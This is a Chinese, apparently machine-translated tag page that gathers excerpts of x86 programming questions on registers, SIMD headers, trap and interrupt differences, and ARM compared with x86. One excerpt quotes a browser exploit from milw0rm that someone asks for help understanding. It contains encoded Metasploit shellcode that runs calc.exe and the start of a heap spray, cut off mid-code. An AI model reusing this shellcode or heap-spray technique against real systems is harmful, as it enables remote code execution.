Tag: x86

System.BadImageFormatException:无法加载文件或程序集(来自installutil.exe)

我正在尝试使用InstallUtil.exe安装Windows服务,并收到错误消息 System.BadImageFormatException:无法加载文件或程序集“ {xxx.exe} ”或其某个依赖项。 试图加载格式不正确的程序。 是什么赋予了? 编辑:(不是由OP)完整的消息提取从dup获取方式更多的点击[谷歌]: C:\ Windows \ Microsoft.NET \ Framework64 \ v4.0.30319> InstallUtil.exe C:\ xxx.exe Microsoft(R).NET Framework安装实用程序版本4.0.30319.1版权所有(c)Microsoft Corporation。 版权所有。 初始化安装时发生exception:System.BadImageFormatException:无法加载文件或程序集“file:/// C:\ xxx.exe”或其某个依赖项。 试图加载格式不正确的程序

“dword ptr”是什么意思?

有人可以解释这是什么意思? (Intel语法,x86,Windows) and dword ptr [ebp-4], 0

浮点与现代硬件上的整数计算

我正在用C ++做一些关键性能的工作,而且我们目前正在使用整数计算来处理本质上浮点的问题,因为“更快”。 这导致了很多烦人的问题,并增加了很多令人讨厌的代码。 现在,我记得大约读了386天的浮点计算如此慢,我相信(IIRC)有一个可选的共同进程。 但是现在肯定有更复杂和更强大的CPU,如果进行浮点或整数计算,“速度”没有什么区别? 特别是由于实际的计算时间相对于导致pipe道失速或从主存储器中取出某些东西而言是微小的。 我知道正确的答案是在目标硬件上进行基准testing,那么testing它的好方法是什么? 我写了两个微小的C ++程序,并将它们的运行时间与Linux上的“time”进行了比较,但是实际运行时间太可变(不能帮助我在虚拟服务器上运行)。 没有花费我的整个一天运行数百个基准,制作图表等是否有我可以做的,以获得合理的相对速度testing? 任何想法或想法? 我完全错了吗? 我使用的程序如下,它们在任何方面都不相同: #include <iostream> #include <cmath> #include <cstdlib> #include <time.h> int main( int argc, char** argv ) { int accum = 0; srand( time( NULL ) ); for( unsigned int i = 0; i < 100000000; ++i ) { accum += rand( ) % […]

ESI和EDI寄存器的用途?

汇编器中EDI和ESI寄存器的实际用途和用途是什么? 我知道他们用于string操作的一件事情。 有人也可以举个例子吗?

为什么x86很丑? 与其他人相比,为什么被认为是劣等的?

最近我一直在阅读一些SO档案,并遇到了针对x86架构的声明。 为什么我们需要不同的CPU架构的服务器和迷你/大型机和混合核心? 说 “ PC架构是一团糟,任何OS开发者都会告诉你的。 学习汇编语言是否值得努力? ( 存档 )说 “ 意识到x86架构至多是可怕的 ” 学习x86汇编程序的简单方法是什么? 说 “ 大多数大学都会在像MIPS这样的东西上进行汇编,因为它比较容易理解,x86汇编真的很难看 ” 还有更多的评论 “与大多数架构相比,X86糟透了。” “ 这绝对是X86不如MIPS,SPARC和PowerPC的传统智慧 ” “ x86很难看 ” 我尝试search,但没有find任何理由。 我不认为x86可能是坏的,因为这是我熟悉的唯一架构。 有人可以友好地给我考虑x86相比其他人的丑陋/坏/劣等原因。

陷阱和中断有什么区别?

陷阱和中断有什么区别? 如果术语对于不同的系统是不同的,那么它们在x86上意味着什么?

x86 SIMD内部函数的头文件

哪些头文件为不同的x86 SIMD指令集扩展(MMX,SSE,AVX,…)提供了内在的function? 在网上find这样的清单似乎是不可能的。 如我错了请纠正我。

ARM体系结构与x86有何不同?

x86架构专门devise用于键盘而ARM期望移动? 两者之间的主要区别是什么?

帮我理解这个JavaScript漏洞

我通常没有难以阅读的JavaScript脚本,但这一个我无法弄清楚逻辑。 代码来自4天前发布的漏洞利用。 你可以在milw0rmfind它。 这里是代码: <html> <div id="replace">x</div> <script> // windows/exec – 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); […]

计算机程序运行时会发生什么?

我知道一般的理论,但我不能适应细节。 我知道一个程序驻留在电脑的辅助存储器中。 一旦程序开始执行,它就完全复制到RAM中。 然后,处理器一次性检索几条指令(取决于总线的大小),将它们放入寄存器并执行。 我也知道一个计算机程序使用两种内存:堆栈和堆,它们也是计算机主内存的一部分。 该堆栈用于非dynamic内存,dynamic内存堆(例如,与C ++中的new运算符相关的所有内容) 我不明白的是这两件事情是如何连接的。 用于执行指令的堆栈在什么位置? 指令从RAM到堆栈,到寄存器?